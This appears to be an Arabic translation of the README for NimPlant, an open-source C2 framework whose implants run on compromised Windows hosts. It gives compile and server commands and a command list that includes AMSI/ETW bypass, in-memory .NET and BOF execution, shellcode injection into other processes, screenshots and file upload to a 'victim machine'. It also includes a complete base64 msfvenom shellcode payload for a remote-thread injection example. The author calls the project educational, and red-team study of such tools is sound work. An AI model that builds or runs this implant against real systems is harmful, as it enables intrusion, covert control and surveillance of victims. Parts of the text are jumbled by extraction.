
أداة اختراق C2 خفيفة من المرحلة الأولى مكتوبة بلغة Nim (وRust).
بواسطة Cas van Cooten (@chvancooten)، مع شكر خاص لبعض الأشخاص الرائعين:
كادير ياماموتو (@yamakadi)، فوركان غوكسل (@frkngksl)، فابيان موش (@S3cur3Th1sSh1t)، رافايل فيليكس (@b1scoito)، غيوم كاييه (@OffenseTeacher)، وآخرون كثيرون!
إذا كان NimPlant مفيدًا لك و/أو أعجبك عملي بشكل عام، فإن دعمك مرحب به جدًا:
inline-execute، shinject (باستخدام الاستدعاء الديناميكي)، powershell في مساحة تشغيل مخصصة، أو في الخيط execute-assemblyمطلوب إصدار حديث من Python3 لتشغيل Nimplant.
requirements.txt من مجلد الخادم (pip3 install -r server/requirements.txt).choosenim، لأن apt لا يحتوي دائمًا على أحدث إصدار).cd client; nimble install -d).mingw لنظامك الأساسي (brew install mingw-w64 أو apt install mingw-w64).rustup).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml الخاص بك وفقًا لـ Cargo.toml واستخدم سلسلة البناء الليلية (rustup default nightly).ملاحظة: حتى إذا كنت تقوم بالتجميع على Windows، فإن الهدف
x86_64-pc-windows-gnuموصى به. ينتج عنه ملفات ثنائية أكبر قليلاً، ولكنه يبدو أكثر استقرارًا عند إنشاء shellcode من مكتبة DLL الناتجة. يمكنك تعديلrust-toolchain.tomlلتغيير الهدف إلىx86_64-pc-windows-msvc، ولكن قد لا يعمل shellcode الناتج بشكل صحيح في جميع الحالات.
قبل استخدام NimPlant، قم بإنشاء ملف التكوين config.toml. يوصى بنسخ config.toml.example والعمل منه.
فيما يلي نظرة عامة على الإعدادات.
بمجرد أن يصبح التكوين حسب رغبتك، يمكنك إنشاء ملفات NimPlant الثنائية لنشرها على هدفك. حاليًا، يدعم NimPlant الملفات الثنائية .exe و .dll و .bin للبرامج القابلة للتنفيذ (التي تحذف نفسها) والمكتبات وshellcode المستقل عن الموقع (عبر sRDI)، على التوالي. للإنشاء، قم بتشغيل python nimplant.py compile متبوعًا بالملفات الثنائية المفضلة لديك (exe، exe-selfdelete، dll، raw، أو all) واختياريًا نوع الأداة (nim، rust، nim-debug، أو rust-debug - سيتم تجميع Nim افتراضيًا). ستتم كتابة الملفات إلى client/bin/ أو ، على التوالي.
يمكنك تمرير الوسيطة rotatekey لإنشاء واستخدام مفتاح XOR جديد أثناء التجميع.
ملاحظات:
يدعم NimPlant فقط x64 في الوقت الحالي!
نقطة الدخول لملفات DLL هي Update، والتي يتم تشغيلها بواسطة DllMain لجميع نقاط الدخول. هذا يعني أنه يمكنك استخدام على سبيل المثال rundll32 .\NimPlant.dll,Update للتشغيل، أو استخدام LOLBIN المفضل لديك لتحميله جانبيًا (قد يتطلب بعض التعديلات في client/NimPlant.nim أو client-rs/src/lib.rs).```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### التجميع باستخدام Docker
استخدام Docker سهل ويتجنب مشاكل التبعيات، حيث أن جميع التبعيات المطلوبة في وقت البناء ووقت التشغيل مثبتة مسبقًا في الحاوية.
لاستخدام Docker، يمكنك استخدام الحاوية العامة `chvancooten/nimplant` من [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (مبنية عبر CI/CD)، أو بناء `Dockerfile` من المصدر.
> لبناء من المصدر، قم بتشغيل الأمر التالي من الدليل الرئيسي:
>
> ```bash
> docker build . -t nimplant
> ```
سيقوم هذا ببناء حاوية موسومة بـ `nimplant:latest`. ملاحظة: قد يستغرق هذا بعض الوقت وينتج حاوية كبيرة الحجم بسبب تبعيات التطوير!
بمجرد الانتهاء من ذلك، يمكنك تشغيل الحاوية من سطر الأوامر لتجميع القطع الأثرية الخاصة بك.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
ملاحظة: هذا أمر مثال، تأكد من تعديل الوسائط مثل وحدات التخزين المثبتة حسب حالتك.
بمجرد أن تكون لديك الملفات الثنائية جاهزة، يمكنك تشغيل خادم NimPlant! إذا قمت بالتجميع محليًا، فلا حاجة لتكوين إضافي حيث يقرأ من نفس ملف config.toml. لتشغيل الخادم، قم ببساطة بتشغيل python nimplant.py server (مع صلاحيات sudo إذا كنت تعمل على Linux). يمكنك استخدام وحدة التحكم بمجرد أن يقوم Nimplant بتسجيل الدخول، أو الوصول إلى الواجهة الويب على http://localhost:31337 (افتراضيًا).
ملاحظات:
إذا كنت تقوم بتشغيل خادم NimPlant خارجيًا عن الجهاز الذي تم تجميع الملفات الثنائية عليه، تأكد من تطابق كل من config.toml و.xorkey. إذا لم يتطابقا، فلن يتمكن NimPlant من الاتصال.
لا يدعم الواجهة الأمامية للويب أو API المصادقة، لذا do NOT expose منفذ الواجهة الأمامية لأي شبكات غير موثوقة بدون وكيل عكسي آمن!
إذا لم يتمكن NimPlant من الاتصال بخادم أو فقد الاتصال، فسيحاول إعادة المحاولة 5 مرات مع وقت تراجع أسي قبل محاولة إعادة التسجيل. إذا فشل في التسجيل 5 مرات أخرى (نفس منطق التراجع)، فسيقوم بقتل نفسه. يقوم التراجع بمضاعفة وقت النوم ثلاث مرات في كل محاولة فاشلة. على سبيل المثال، إذا كان وقت النوم 10 ثوانٍ، فسينتظر 10، ثم 30 (3^1 * 10)، ثم 90 (3^2 * 10)، ثم 270 (3^3 * 10)، ثم 810 ثانية قبل الاستسلام (هذه المعلمات ثابتة في الكود ولكن يمكن تغييرها في client/NimPlant.nim).
يتم تخزين السجلات في دليل server/logs. ينشئ كل مثيل خادم مجلد سجلات جديد، ويتم تقسيم السجلات لكل جلسة وحدة تحكم/nimplant. يتم تخزين التنزيلات والتحميلات (بما في ذلك الملفات المرفوعة عبر واجهة الويب الرسومية) في دليلي server/uploads وserver/downloads على التوالي.
يتم تخزين تفاصيل Nimplant والخادم في قاعدة بيانات SQLite في server/nimplant.db. تُستخدم هذه البيانات أيضًا لاستعادة Nimplants بعد إعادة تشغيل الخادم.
يمكن تنظيف السجلات والملفات المرفوعة/المنزلة وقاعدة البيانات عن طريق تشغيل nimplant.py مع علامة . تحذير: سيؤدي هذا إلى مسح كل شيء، لذا تأكد من عمل نسخة احتياطية لما تحتاجه أولاً!```
PS C:\NimPlant> python .\nimplant.py server
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
سيؤدي هذا إلى بدء تشغيل كل من واجهة برمجة تطبيقات C2 وخادم الويب للإدارة (في المثال أعلاه على `http://127.0.0.1:31337`) ومستمع NimPlant (في المثال أعلاه على `https://0.0.0.0:443`). بمجرد أن يقوم NimPlant بتسجيل الدخول، يمكنك استخدام كل من واجهة الويب ووحدة التحكم لإرسال الأوامر إلى NimPlant.
### بدء تشغيل الخادم باستخدام Docker
يمكن استخدام حاوية `chvancooten/nimplant` نفسها التي تُستخدم للتجميع لتشغيل خادم NimPlant أيضًا. لكي يتعرف NimPlant على الخادم، يجب أن تتطابق ملفات `config.toml` و`.xorkey` مع الجهاز الذي تم تجميع NimPlant عليه (وهذا صحيح تلقائيًا إذا استخدمت نفس حاوية Docker للتجميع). علاوة على ذلك، يجب تكوين ملف `config.toml` بشكل صحيح لـ Docker، وأهم ما في ذلك هو تعيين عنوان IP لخادم الإدارة إلى `0.0.0.0` للوصول إليه عبر Docker (تأكد من عرضه فقط على الواجهة المحلية على مضيفك).
يمكنك تشغيل خادم NimPlant باستخدام الأمر النموذجي أدناه:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
ملاحظة: هذا أمر مثال، تأكد من تعديل الوسائط مثل وحدات التخزين المثبتة وفقًا لحالتك.
يتيح استخدام Docker إعداد تكوينات أكثر تعقيدًا بسهولة. على سبيل المثال، يحتوي دليل docker-example على ملف docker-compose.yml يوضح كيفية كشف NimPlant خلف معيد توجيه Nginx باستخدام HTTPS وصفحة هبوط وهمية.
الأوامر المتاحة هي كما يلي. يمكنك الحصول على مساعدة تفصيلية لأي أمر بكتابة help [command]. بعض الأوامر المشار إليها بـ (GUI) يمكن تكوينها بيانيًا عند استخدام الواجهة الويب، ويمكن القيام بذلك من خلال استدعاء الأمر بدون أي وسائط.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### استخدام ملفات كائنات Beacon (BOFs)
**ملاحظة: BOFs متقلبة بطبيعتها، وقد يؤدي تشغيل BOF معيب أو تمرير وسائط أو أنواع خاطئة إلى تعطل جلسة NimPlant الخاصة بك! تأكد من اختبار BOFs قبل النشر!**
يدعم NimPlant التحميل في الذاكرة لـ BOFs بفضل المشاريع الرائعة [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) و [Coffee](https://github.com/hakaioffsec/coffee) (Rust). يتطلب تشغيل bof ملف كائن BOF مترجم محليًا (يُسمى عادةً شيئًا مثل `bofname.x64.o`)، ونقطة دخول (عادةً `go`)، وقائمة من الوسائط مع أنواع الوسائط الخاصة بها. تُمرر الوسائط كزوج `وسيطة نوعوسيطة` مفصول بمسافات.
تُعطى الوسائط وفقًا لتنسيق "Zzsib"، لذا يمكن أن تكون إما `string` (اسم مستعار: `z`)، أو `wstring` (أو `Z`)، أو `integer` (أسماء مستعارة: `int` أو `i`)، أو `short` (`s`)، أو `binary` (`bin` أو `b`). يمكن أن تكون الوسائط الثنائية سلسلة ثنائية خام أو مشفرة بـ base64، ويُوصى بالأخيرة لتجنب الأحرف غير المرغوب فيها.
بعض الأمثلة على الاستخدام (باستخدام BOFs الرائعة من TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] كمثال) معطاة أدناه. لاحظ أن `inline-execute` (بدون وسائط) يمكن استخدامه لتكوين الأمر بيانيًا في واجهة المستخدم الرسومية.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
بشكل افتراضي، يدعم NimPlant إشعارات الدفع عبر خطاف notify_user() المعرف في server/util/notify.py. بشكل افتراضي، يطبق إشعار تليغرام بسيط يتطلب ضبط متغيرات البيئة TELEGRAM_CHAT_ID وTELEGRAM_BOT_TOKEN قبل تشغيله. بالطبع، يمكن توسيع الكود بسهولة باستخدام وظيفة الإشعارات الخاصة. يتم استدعاء خطاف notify_user() عندما يقوم عميل NimPlant جديد بتسجيل الدخول، ويستقبل كائنًا يحتوي على تفاصيل NimPlant، والتي يمكن دفعها حسب الحاجة.
كمستخدم عادي، لا ينبغي أن تضطر إلى تعديل أو إعادة بناء واجهة المستخدم المرفقة مع Nimplant. ومع ذلك، إذا كنت ترغب في إجراء تغييرات، قم بتثبيت NodeJS وشغل الأمر npm install وأنت في مجلد ui. ثم شغل ui/build-ui.py. سيتولى ذلك سحب الحزم، وتجميع واجهة Next.JS الأمامية، ووضع الملفات في الموقع الصحيح لاستخدام خادم Nimplant لها.
تم تطوير NimPlant كمشروع تعليمي وتم إصداره للجمهور من أجل الشفافية والأغراض التعليمية. تجنب مضادات الفيروسات أو EDR ليس هدفًا للبرامج الضارة الجاهزة. إلى حد كبير، لا يبذل NimPlant أي جهد لإخفاء نواياه. بالإضافة إلى ذلك، تم وضع حماية لمنع إساءة الاستخدام. بكلمات أخرى، لا تستخدم NimPlant في المهام الإنتاجية كما هو دون مراجعة شاملة لشفرة المصدر والتعديلات! تذكر أيضًا أنه، كما هو الحال مع أي إطار عمل C2، يجب مراعاة بصمة OPSEC لتشغيل أوامر معينة قبل النشر. يمكن تجميع NimPlant بدون أوامر خطيرة من ناحية OPSEC عن طريق تعيين riskyMode إلى false في config.toml.
هناك العديد من الأسباب التي قد تؤدي إلى فشل Nimplant في التجميع أو التشغيل. إذا واجهت مشكلات، يرجى تجربة ما يلي (بالترتيب):
server/logs بحثًا عن أي أخطاءnim-debug أو rust-debug لتجميع مع رسائل وحدة التحكم والتصحيح (.exe فقط) لمعرفة ما إذا تم إرجاع أي رسائل خطأ| الفئة | الإعداد | الوصف |
|---|
| server | ip | عنوان IP الذي سيستمع عليه خادم الويب C2 (بما في ذلك API). يوصى باستخدام 127.0.0.1، استخدم 0.0.0.0 فقط عند إعداد قواعد جدار الحماية أو التوجيه المناسبة لحماية C2. |
| server | port | المنفذ الذي سيستمع عليه خادم الويب C2 (بما في ذلك API). |
| listener | type | نوع المستمع، إما HTTP أو HTTPS. يتم تكوين خيارات HTTPS أدناه. |
| listener | sslCertPath | المسار المحلي لملف شهادة HTTPS (مثل المطلوب عبر LetsEncrypt CertBot أو الموقع ذاتيًا). يتم تجاهله عندما يكون نوع المستمع 'HTTP'. |
| listener | sslKeyPath | المسار المحلي لملف المفتاح الخاص لشهادة HTTPS المقابلة. سيُطلب كلمة المرور عند تشغيل خادم NimPlant إذا تم تعيينه. يتم تجاهله عندما يكون نوع المستمع 'HTTP'. |
| listener | hostname | اسم المضيف للمستمع. إذا لم يكن فارغًا (""), سيستخدم NimPlant اسم المضيف هذا للاتصال. تأكد من توجيه حركة المرور بشكل صحيح من هذا المضيف إلى منفذ مستمع NimPlant. |
| listener | ip | عنوان IP للمستمع. مطلوب حتى إذا تم تعيين 'hostname'، حيث يتم استخدامه بواسطة الخادم للتسجيل على عنوان IP هذا. |
| listener | port | منفذ المستمع. مطلوب حتى إذا تم تعيين 'hostname'، حيث يتم استخدامه بواسطة الخادم للتسجيل على هذا المنفذ. |
| listener | registerPath | مسار URI الذي ستسجل به NimPlants الجديدة. |
| listener | taskPath | مسار URI الذي ستحصل منه NimPlants على المهام. |
| listener | resultPath | مسار URI الذي ستقدم إليه NimPlants النتائج. |
| nimplant | riskyMode | تجميع NimPlant مع دعم الأوامر المحفوفة بالمخاطر. يُنصح بتقدير المشغل. تعطيل هذا سيزيل دعم execute-assembly، powershell، shell و shinject. |
| nimplant | sleepMask | ما إذا كان سيتم استخدام قناع النوم Ekko بدلاً من استدعاءات النوم العادية لـ Nimplants. يعمل فقط مع البرامج القابلة للتنفيذ العادية حاليًا! |
| nimplant | sleepTime | وقت النوم الافتراضي بالثواني لـ NimPlants الجديدة. |
| nimplant | sleepJitter | الاهتزاز الافتراضي بالنسبة المئوية لـ NimPlants الجديدة. |
| nimplant | killDate | تاريخ الإيقاف لـ Nimplants (التنسيق: yyyy-MM-dd). ستخرج Nimplants إذا مر هذا التاريخ. |
| nimplant | userAgent | وكيل المستخدم الذي تستخدمه NimPlants. يستخدمه الخادم أيضًا للتحقق من حركة مرور NimPlant، لذا يوصى باختيار وكيل مستخدم غير لافت للنظر، ولكن ليس شائعًا جدًا. |
client-rs/bin/cleanup * *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)